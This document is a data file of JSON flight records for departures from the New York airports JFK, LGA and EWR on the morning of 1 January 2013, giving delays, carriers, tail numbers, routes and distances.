-{"year":2013,"month":1,"day":1,"dep_time":813,"sched_dep_time":815,"dep_delay":-2,"arr_time":1103,"sched_arr_time":1056,"arr_delay":7,"carrier":"DL","flight":914,"tailnum":"N375NC","origin":"LGA","dest":"DEN","air_time":267,"distance":1620,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":814,"sched_dep_time":810,"dep_delay":4,"arr_time":1047,"sched_arr_time":1030,"arr_delay":17,"carrier":"FL","flight":346,"tailnum":"N977AT","origin":"LGA","dest":"ATL","air_time":132,"distance":762,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":817,"sched_dep_time":810,"dep_delay":7,"arr_time":1005,"sched_arr_time":948,"arr_delay":17,"carrier":"B6","flight":1051,"tailnum":"N228JB","origin":"JFK","dest":"PIT","air_time":86,"distance":340,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":820,"sched_dep_time":820,"dep_delay":0,"arr_time":1254,"sched_arr_time":1310,"arr_delay":-16,"carrier":"B6","flight":717,"tailnum":"N527JB","origin":"JFK","dest":"SJU","air_time":190,"distance":1598,"hour":8,"minute":20,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":820,"sched_dep_time":830,"dep_delay":-10,"arr_time":940,"sched_arr_time":954,"arr_delay":-14,"carrier":"DL","flight":27,"tailnum":"N324US","origin":"JFK","dest":"BOS","air_time":36,"distance":187,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":820,"sched_dep_time":820,"dep_delay":0,"arr_time":1249,"sched_arr_time":1329,"arr_delay":-40,"carrier":"DL","flight":301,"tailnum":"N900PC","origin":"JFK","dest":"SJU","air_time":182,"distance":1598,"hour":8,"minute":20,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":821,"sched_dep_time":820,"dep_delay":1,"arr_time":1153,"sched_arr_time":1129,"arr_delay":24,"carrier":"B6","flight":181,"tailnum":"N521JB","origin":"JFK","dest":"SAN","air_time":354,"distance":2446,"hour":8,"minute":20,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":821,"sched_dep_time":825,"dep_delay":-4,"arr_time":932,"sched_arr_time":945,"arr_delay":-13,"carrier":"MQ","flight":4418,"tailnum":"N846MQ","origin":"JFK","dest":"DCA","air_time":52,"distance":213,"hour":8,"minute":25,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":822,"sched_dep_time":830,"dep_delay":-8,"arr_time":1014,"sched_arr_time":1016,"arr_delay":-2,"carrier":"EV","flight":4104,"tailnum":"N12540","origin":"LGA","dest":"CLE","air_time":91,"distance":419,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":823,"sched_dep_time":825,"dep_delay":-2,"arr_time":1019,"sched_arr_time":1024,"arr_delay":-5,"carrier":"US","flight":487,"tailnum":"N655AW","origin":"JFK","dest":"CLT","air_time":96,"distance":541,"hour":8,"minute":25,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":823,"sched_dep_time":823,"dep_delay":0,"arr_time":1151,"sched_arr_time":1135,"arr_delay":16,"carrier":"UA","flight":1223,"tailnum":"N39728","origin":"EWR","dest":"DFW","air_time":250,"distance":1372,"hour":8,"minute":23,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":824,"sched_dep_time":830,"dep_delay":-6,"arr_time":1027,"sched_arr_time":1025,"arr_delay":2,"carrier":"AA","flight":1855,"tailnum":"N573AA","origin":"LGA","dest":"STL","air_time":169,"distance":888,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":825,"sched_dep_time":827,"dep_delay":-2,"arr_time":1058,"sched_arr_time":1105,"arr_delay":-7,"carrier":"B6","flight":611,"tailnum":"N292JB","origin":"JFK","dest":"JAX","air_time":130,"distance":828,"hour":8,"minute":27,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":826,"sched_dep_time":715,"dep_delay":71,"arr_time":1136,"sched_arr_time":1045,"arr_delay":51,"carrier":"AA","flight":443,"tailnum":"N3GVAA","origin":"JFK","dest":"MIA","air_time":160,"distance":1089,"hour":7,"minute":15,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":826,"sched_dep_time":817,"dep_delay":9,"arr_time":1145,"sched_arr_time":1158,"arr_delay":-13,"carrier":"UA","flight":1480,"tailnum":"N76522","origin":"EWR","dest":"SFO","air_time":357,"distance":2565,"hour":8,"minute":17,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":828,"sched_dep_time":830,"dep_delay":-2,"arr_time":1027,"sched_arr_time":1012,"arr_delay":15,"carrier":"B6","flight":905,"tailnum":"N274JB","origin":"JFK","dest":"ORD","air_time":160,"distance":740,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":828,"sched_dep_time":823,"dep_delay":5,"arr_time":1150,"sched_arr_time":1143,"arr_delay":7,"carrier":"UA","flight":1506,"tailnum":"N76528","origin":"EWR","dest":"LAX","air_time":359,"distance":2454,"hour":8,"minute":23,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":829,"sched_dep_time":830,"dep_delay":-1,"arr_time":1152,"sched_arr_time":1200,"arr_delay":-8,"carrier":"UA","flight":443,"tailnum":"N554UA","origin":"JFK","dest":"LAX","air_time":360,"distance":2475,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":829,"sched_dep_time":830,"dep_delay":-1,"arr_time":1117,"sched_arr_time":1140,"arr_delay":-23,"carrier":"UA","flight":1592,"tailnum":"N75425","origin":"EWR","dest":"MCO","air_time":145,"distance":937,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":830,"sched_dep_time":830,"dep_delay":0,"arr_time":1018,"sched_arr_time":1015,"arr_delay":3,"carrier":"AA","flight":313,"tailnum":"N4YCAA","origin":"LGA","dest":"ORD","air_time":137,"distance":733,"hour":8,"minute":30,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":830,"sched_dep_time":835,"dep_delay":-5,"arr_time":1052,"sched_arr_time":1105,"arr_delay":-13,"carrier":"MQ","flight":4610,"tailnum":"N513MQ","origin":"LGA","dest":"ATL","air_time":123,"distance":762,"hour":8,"minute":35,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":831,"sched_dep_time":835,"dep_delay":-4,"arr_time":1021,"sched_arr_time":1039,"arr_delay":-18,"carrier":"EV","flight":4412,"tailnum":"N13969","origin":"EWR","dest":"MYR","air_time":92,"distance":550,"hour":8,"minute":35,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":832,"sched_dep_time":840,"dep_delay":-8,"arr_time":1006,"sched_arr_time":1030,"arr_delay":-24,"carrier":"MQ","flight":4521,"tailnum":"N725MQ","origin":"LGA","dest":"RDU","air_time":77,"distance":431,"hour":8,"minute":40,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":833,"sched_dep_time":835,"dep_delay":-2,"arr_time":1134,"sched_arr_time":1102,"arr_delay":32,"carrier":"F9","flight":835,"tailnum":"N203FR","origin":"LGA","dest":"DEN","air_time":257,"distance":1620,"hour":8,"minute":35,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":835,"sched_dep_time":835,"dep_delay":0,"arr_time":1210,"sched_arr_time":1150,"arr_delay":20,"carrier":"AA","flight":717,"tailnum":"N3BDAA","origin":"LGA","dest":"DFW","air_time":249,"distance":1389,"hour":8,"minute":35,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":839,"sched_dep_time":850,"dep_delay":-11,"arr_time":1027,"sched_arr_time":1035,"arr_delay":-8,"carrier":"MQ","flight":4558,"tailnum":"N711MQ","origin":"LGA","dest":"CLE","air_time":88,"distance":419,"hour":8,"minute":50,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":840,"sched_dep_time":845,"dep_delay":-5,"arr_time":1311,"sched_arr_time":1350,"arr_delay":-39,"carrier":"AA","flight":1357,"tailnum":"N5FSAA","origin":"JFK","dest":"SJU","air_time":188,"distance":1598,"hour":8,"minute":45,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":840,"sched_dep_time":845,"dep_delay":-5,"arr_time":1053,"sched_arr_time":1102,"arr_delay":-9,"carrier":"DL","flight":2304,"tailnum":"N926DL","origin":"JFK","dest":"DTW","air_time":108,"distance":509,"hour":8,"minute":45,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":846,"sched_dep_time":845,"dep_delay":1,"arr_time":1138,"sched_arr_time":1205,"arr_delay":-27,"carrier":"B6","flight":553,"tailnum":"N564JB","origin":"EWR","dest":"RSW","air_time":157,"distance":1068,"hour":8,"minute":45,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":848,"sched_dep_time":1835,"dep_delay":853,"arr_time":1001,"sched_arr_time":1950,"arr_delay":851,"carrier":"MQ","flight":3944,"tailnum":"N942MQ","origin":"JFK","dest":"BWI","air_time":41,"distance":184,"hour":18,"minute":35,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":848,"sched_dep_time":851,"dep_delay":-3,"arr_time":1155,"sched_arr_time":1136,"arr_delay":19,"carrier":"UA","flight":1741,"tailnum":"N27724","origin":"EWR","dest":"JAC","air_time":275,"distance":1874,"hour":8,"minute":51,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":851,"sched_dep_time":851,"dep_delay":0,"arr_time":1032,"sched_arr_time":1036,"arr_delay":-4,"carrier":"EV","flight":4548,"tailnum":"N19966","origin":"EWR","dest":"RDU","air_time":75,"distance":416,"hour":8,"minute":51,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":851,"sched_dep_time":859,"dep_delay":-8,"arr_time":1102,"sched_arr_time":1105,"arr_delay":-3,"carrier":"DL","flight":869,"tailnum":"N361NB","origin":"EWR","dest":"DTW","air_time":106,"distance":488,"hour":8,"minute":59,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":851,"sched_dep_time":840,"dep_delay":11,"arr_time":1215,"sched_arr_time":1206,"arr_delay":9,"carrier":"UA","flight":1626,"tailnum":"N39297","origin":"EWR","dest":"SAN","air_time":367,"distance":2425,"hour":8,"minute":40,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":852,"sched_dep_time":855,"dep_delay":-3,"arr_time":1046,"sched_arr_time":1020,"arr_delay":26,"carrier":"WN","flight":3848,"tailnum":"N777QC","origin":"EWR","dest":"MDW","air_time":146,"distance":711,"hour":8,"minute":55,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":853,"sched_dep_time":845,"dep_delay":8,"arr_time":1147,"sched_arr_time":1145,"arr_delay":2,"carrier":"B6","flight":59,"tailnum":"N184JB","origin":"JFK","dest":"TPA","air_time":159,"distance":1005,"hour":8,"minute":45,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":855,"sched_dep_time":859,"dep_delay":-4,"arr_time":1143,"sched_arr_time":1145,"arr_delay":-2,"carrier":"DL","flight":1747,"tailnum":"N646DL","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":8,"minute":59,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":856,"sched_dep_time":900,"dep_delay":-4,"arr_time":1226,"sched_arr_time":1220,"arr_delay":6,"carrier":"AA","flight":1,"tailnum":"N324AA","origin":"JFK","dest":"LAX","air_time":358,"distance":2475,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":856,"sched_dep_time":900,"dep_delay":-4,"arr_time":1222,"sched_arr_time":1232,"arr_delay":-10,"carrier":"DL","flight":2143,"tailnum":"N970DL","origin":"LGA","dest":"MIA","air_time":158,"distance":1096,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":856,"sched_dep_time":855,"dep_delay":1,"arr_time":1140,"sched_arr_time":1203,"arr_delay":-23,"carrier":"UA","flight":1296,"tailnum":"N75426","origin":"EWR","dest":"PBI","air_time":150,"distance":1023,"hour":8,"minute":55,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":857,"sched_dep_time":900,"dep_delay":-3,"arr_time":1516,"sched_arr_time":1530,"arr_delay":-14,"carrier":"HA","flight":51,"tailnum":"N380HA","origin":"JFK","dest":"HNL","air_time":659,"distance":4983,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":857,"sched_dep_time":905,"dep_delay":-8,"arr_time":1107,"sched_arr_time":1120,"arr_delay":-13,"carrier":"DL","flight":181,"tailnum":"N321NB","origin":"LGA","dest":"DTW","air_time":110,"distance":502,"hour":9,"minute":5,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":857,"sched_dep_time":900,"dep_delay":-3,"arr_time":1124,"sched_arr_time":1133,"arr_delay":-9,"carrier":"DL","flight":485,"tailnum":"N371NB","origin":"EWR","dest":"ATL","air_time":125,"distance":746,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":857,"sched_dep_time":851,"dep_delay":6,"arr_time":1157,"sched_arr_time":1222,"arr_delay":-25,"carrier":"UA","flight":1670,"tailnum":"N45440","origin":"EWR","dest":"SEA","air_time":343,"distance":2402,"hour":8,"minute":51,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":858,"sched_dep_time":900,"dep_delay":-2,"arr_time":1102,"sched_arr_time":1110,"arr_delay":-8,"carrier":"MQ","flight":4478,"tailnum":"N737MQ","origin":"LGA","dest":"DTW","air_time":103,"distance":502,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":859,"sched_dep_time":900,"dep_delay":-1,"arr_time":1140,"sched_arr_time":1204,"arr_delay":-24,"carrier":"DL","flight":1885,"tailnum":"N360NB","origin":"LGA","dest":"MCO","air_time":140,"distance":950,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":859,"sched_dep_time":900,"dep_delay":-1,"arr_time":1223,"sched_arr_time":1225,"arr_delay":-2,"carrier":"VX","flight":407,"tailnum":"N846VA","origin":"JFK","dest":"LAX","air_time":359,"distance":2475,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":900,"sched_dep_time":900,"dep_delay":0,"arr_time":1211,"sched_arr_time":1203,"arr_delay":8,"carrier":"UA","flight":1170,"tailnum":"N19130","origin":"EWR","dest":"FLL","air_time":161,"distance":1065,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":902,"sched_dep_time":903,"dep_delay":-1,"arr_time":1048,"sched_arr_time":1045,"arr_delay":3,"carrier":"UA","flight":580,"tailnum":"N820UA","origin":"EWR","dest":"ORD","air_time":145,"distance":719,"hour":9,"minute":3,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":903,"sched_dep_time":820,"dep_delay":43,"arr_time":1045,"sched_arr_time":955,"arr_delay":50,"carrier":"MQ","flight":4655,"tailnum":"N532MQ","origin":"LGA","dest":"BNA","air_time":142,"distance":764,"hour":8,"minute":20,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":904,"sched_dep_time":906,"dep_delay":-2,"arr_time":1207,"sched_arr_time":1226,"arr_delay":-19,"carrier":"UA","flight":1401,"tailnum":"N77525","origin":"EWR","dest":"MIA","air_time":158,"distance":1085,"hour":9,"minute":6,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":905,"sched_dep_time":905,"dep_delay":0,"arr_time":1309,"sched_arr_time":1229,"arr_delay":40,"carrier":"B6","flight":1061,"tailnum":"N281JB","origin":"JFK","dest":"AUS","air_time":263,"distance":1521,"hour":9,"minute":5,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":906,"sched_dep_time":843,"dep_delay":23,"arr_time":1134,"sched_arr_time":1125,"arr_delay":9,"carrier":"UA","flight":1643,"tailnum":"N17139","origin":"EWR","dest":"DEN","air_time":246,"distance":1605,"hour":8,"minute":43,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":908,"sched_dep_time":910,"dep_delay":-2,"arr_time":1020,"sched_arr_time":1027,"arr_delay":-7,"carrier":"B6","flight":56,"tailnum":"N203JB","origin":"JFK","dest":"BTV","air_time":52,"distance":266,"hour":9,"minute":10,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":908,"sched_dep_time":915,"dep_delay":-7,"arr_time":1004,"sched_arr_time":1033,"arr_delay":-29,"carrier":"US","flight":1467,"tailnum":"N959UW","origin":"LGA","dest":"PHL","air_time":32,"distance":96,"hour":9,"minute":15,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":908,"sched_dep_time":908,"dep_delay":0,"arr_time":1228,"sched_arr_time":1219,"arr_delay":9,"carrier":"UA","flight":1220,"tailnum":"N12216","origin":"EWR","dest":"IAH","air_time":233,"distance":1400,"hour":9,"minute":8,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":909,"sched_dep_time":810,"dep_delay":59,"arr_time":1331,"sched_arr_time":1315,"arr_delay":16,"carrier":"AA","flight":655,"tailnum":"N5EXAA","origin":"JFK","dest":"STT","air_time":184,"distance":1623,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":912,"sched_dep_time":900,"dep_delay":12,"arr_time":1241,"sched_arr_time":1220,"arr_delay":21,"carrier":"AA","flight":647,"tailnum":"N5CRAA","origin":"JFK","dest":"MIA","air_time":166,"distance":1089,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":912,"sched_dep_time":906,"dep_delay":6,"arr_time":1219,"sched_arr_time":1226,"arr_delay":-7,"carrier":"UA","flight":1601,"tailnum":"N38403","origin":"EWR","dest":"MIA","air_time":159,"distance":1085,"hour":9,"minute":6,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":913,"sched_dep_time":918,"dep_delay":-5,"arr_time":1346,"sched_arr_time":1416,"arr_delay":-30,"carrier":"UA","flight":1519,"tailnum":"N24715","origin":"EWR","dest":"STT","air_time":189,"distance":1634,"hour":9,"minute":18,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":914,"sched_dep_time":920,"dep_delay":-6,"arr_time":1244,"sched_arr_time":1240,"arr_delay":4,"carrier":"AA","flight":1589,"tailnum":"N517AA","origin":"EWR","dest":"DFW","air_time":238,"distance":1372,"hour":9,"minute":20,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":914,"sched_dep_time":900,"dep_delay":14,"arr_time":1058,"sched_arr_time":1043,"arr_delay":15,"carrier":"UA","flight":783,"tailnum":"N810UA","origin":"EWR","dest":"CLE","air_time":85,"distance":404,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":917,"sched_dep_time":920,"dep_delay":-3,"arr_time":1313,"sched_arr_time":1245,"arr_delay":28,"carrier":"AA","flight":721,"tailnum":"N596AA","origin":"LGA","dest":"DFW","air_time":258,"distance":1389,"hour":9,"minute":20,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":917,"sched_dep_time":915,"dep_delay":2,"arr_time":1206,"sched_arr_time":1211,"arr_delay":-5,"carrier":"B6","flight":41,"tailnum":"N568JB","origin":"JFK","dest":"MCO","air_time":145,"distance":944,"hour":9,"minute":15,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":917,"sched_dep_time":920,"dep_delay":-3,"arr_time":1052,"sched_arr_time":1108,"arr_delay":-16,"carrier":"B6","flight":1103,"tailnum":"N216JB","origin":"JFK","dest":"RDU","air_time":80,"distance":427,"hour":9,"minute":20,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":920,"sched_dep_time":905,"dep_delay":15,"arr_time":1039,"sched_arr_time":1025,"arr_delay":14,"carrier":"B6","flight":1305,"tailnum":"N346JB","origin":"JFK","dest":"IAD","air_time":52,"distance":228,"hour":9,"minute":5,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":920,"sched_dep_time":920,"dep_delay":0,"arr_time":1152,"sched_arr_time":1125,"arr_delay":27,"carrier":"MQ","flight":4582,"tailnum":"N527MQ","origin":"LGA","dest":"CLT","air_time":92,"distance":544,"hour":9,"minute":20,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":921,"sched_dep_time":900,"dep_delay":21,"arr_time":1237,"sched_arr_time":1227,"arr_delay":10,"carrier":"DL","flight":120,"tailnum":"N713TW","origin":"JFK","dest":"LAX","air_time":333,"distance":2475,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":923,"sched_dep_time":919,"dep_delay":4,"arr_time":1026,"sched_arr_time":1030,"arr_delay":-4,"carrier":"B6","flight":1004,"tailnum":"N580JB","origin":"JFK","dest":"BOS","air_time":38,"distance":187,"hour":9,"minute":19,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":926,"sched_dep_time":929,"dep_delay":-3,"arr_time":1404,"sched_arr_time":1421,"arr_delay":-17,"carrier":"B6","flight":215,"tailnum":"N775JB","origin":"EWR","dest":"SJU","air_time":191,"distance":1608,"hour":9,"minute":29,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":926,"sched_dep_time":922,"dep_delay":4,"arr_time":1221,"sched_arr_time":1219,"arr_delay":2,"carrier":"B6","flight":57,"tailnum":"N534JB","origin":"JFK","dest":"PBI","air_time":151,"distance":1028,"hour":9,"minute":22,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":926,"sched_dep_time":928,"dep_delay":-2,"arr_time":1233,"sched_arr_time":1220,"arr_delay":13,"carrier":"UA","flight":1597,"tailnum":"N27733","origin":"EWR","dest":"EGE","air_time":287,"distance":1726,"hour":9,"minute":28,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":927,"sched_dep_time":930,"dep_delay":-3,"arr_time":1231,"sched_arr_time":1257,"arr_delay":-26,"carrier":"DL","flight":1335,"tailnum":"N951DL","origin":"LGA","dest":"RSW","air_time":166,"distance":1080,"hour":9,"minute":30,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":929,"sched_dep_time":929,"dep_delay":0,"arr_time":1028,"sched_arr_time":1042,"arr_delay":-14,"carrier":"EV","flight":4636,"tailnum":"N11551","origin":"EWR","dest":"DCA","air_time":43,"distance":199,"hour":9,"minute":29,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":929,"sched_dep_time":925,"dep_delay":4,"arr_time":1220,"sched_arr_time":1150,"arr_delay":30,"carrier":"WN","flight":766,"tailnum":"N957WN","origin":"EWR","dest":"DEN","air_time":264,"distance":1605,"hour":9,"minute":25,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":930,"sched_dep_time":905,"dep_delay":25,"arr_time":1218,"sched_arr_time":1209,"arr_delay":9,"carrier":"UA","flight":1148,"tailnum":"N57439","origin":"EWR","dest":"TPA","air_time":149,"distance":997,"hour":9,"minute":5,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":931,"sched_dep_time":930,"dep_delay":1,"arr_time":1237,"sched_arr_time":1238,"arr_delay":-1,"carrier":"B6","flight":375,"tailnum":"N508JB","origin":"LGA","dest":"FLL","air_time":161,"distance":1076,"hour":9,"minute":30,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":931,"sched_dep_time":930,"dep_delay":1,"arr_time":1121,"sched_arr_time":1108,"arr_delay":13,"carrier":"UA","flight":255,"tailnum":"N479UA","origin":"LGA","dest":"ORD","air_time":154,"distance":733,"hour":9,"minute":30,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":932,"sched_dep_time":930,"dep_delay":2,"arr_time":1219,"sched_arr_time":1225,"arr_delay":-6,"carrier":"VX","flight":251,"tailnum":"N641VA","origin":"JFK","dest":"LAS","air_time":324,"distance":2248,"hour":9,"minute":30,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":933,"sched_dep_time":937,"dep_delay":-4,"arr_time":1057,"sched_arr_time":1102,"arr_delay":-5,"carrier":"B6","flight":4,"tailnum":"N503JB","origin":"JFK","dest":"BUF","air_time":66,"distance":301,"hour":9,"minute":37,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":933,"sched_dep_time":904,"dep_delay":29,"arr_time":1252,"sched_arr_time":1210,"arr_delay":42,"carrier":"B6","flight":17,"tailnum":"N579JB","origin":"JFK","dest":"FLL","air_time":170,"distance":1069,"hour":9,"minute":4,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":933,"sched_dep_time":935,"dep_delay":-2,"arr_time":1120,"sched_arr_time":1105,"arr_delay":15,"carrier":"WN","flight":3895,"tailnum":"N487WN","origin":"LGA","dest":"MDW","air_time":145,"distance":725,"hour":9,"minute":35,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":936,"sched_dep_time":940,"dep_delay":-4,"arr_time":1235,"sched_arr_time":1251,"arr_delay":-16,"carrier":"DL","flight":2137,"tailnum":"N975DL","origin":"LGA","dest":"TPA","air_time":159,"distance":1010,"hour":9,"minute":40,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":936,"sched_dep_time":945,"dep_delay":-9,"arr_time":1257,"sched_arr_time":1309,"arr_delay":-12,"carrier":"DL","flight":1903,"tailnum":"N900DE","origin":"LGA","dest":"SRQ","air_time":169,"distance":1047,"hour":9,"minute":45,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":937,"sched_dep_time":940,"dep_delay":-3,"arr_time":1238,"sched_arr_time":1235,"arr_delay":3,"carrier":"B6","flight":361,"tailnum":"N615JB","origin":"LGA","dest":"PBI","air_time":154,"distance":1035,"hour":9,"minute":40,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":937,"sched_dep_time":940,"dep_delay":-3,"arr_time":1127,"sched_arr_time":1120,"arr_delay":7,"carrier":"WN","flight":1807,"tailnum":"N729SW","origin":"LGA","dest":"MKE","air_time":143,"distance":738,"hour":9,"minute":40,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":940,"sched_dep_time":945,"dep_delay":-5,"arr_time":1119,"sched_arr_time":1130,"arr_delay":-11,"carrier":"AA","flight":319,"tailnum":"N4WJAA","origin":"LGA","dest":"ORD","air_time":133,"distance":733,"hour":9,"minute":45,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":940,"sched_dep_time":955,"dep_delay":-15,"arr_time":1226,"sched_arr_time":1220,"arr_delay":6,"carrier":"MQ","flight":4654,"tailnum":"N525MQ","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":9,"minute":55,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":941,"sched_dep_time":945,"dep_delay":-4,"arr_time":1300,"sched_arr_time":1258,"arr_delay":2,"carrier":"B6","flight":679,"tailnum":"N806JB","origin":"JFK","dest":"LAX","air_time":352,"distance":2475,"hour":9,"minute":45,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":946,"sched_dep_time":959,"dep_delay":-13,"arr_time":1146,"sched_arr_time":1202,"arr_delay":-16,"carrier":"EV","flight":4175,"tailnum":"N15912","origin":"EWR","dest":"AVL","air_time":105,"distance":583,"hour":9,"minute":59,"time_hour":"2013-01-01 09:00:00"} 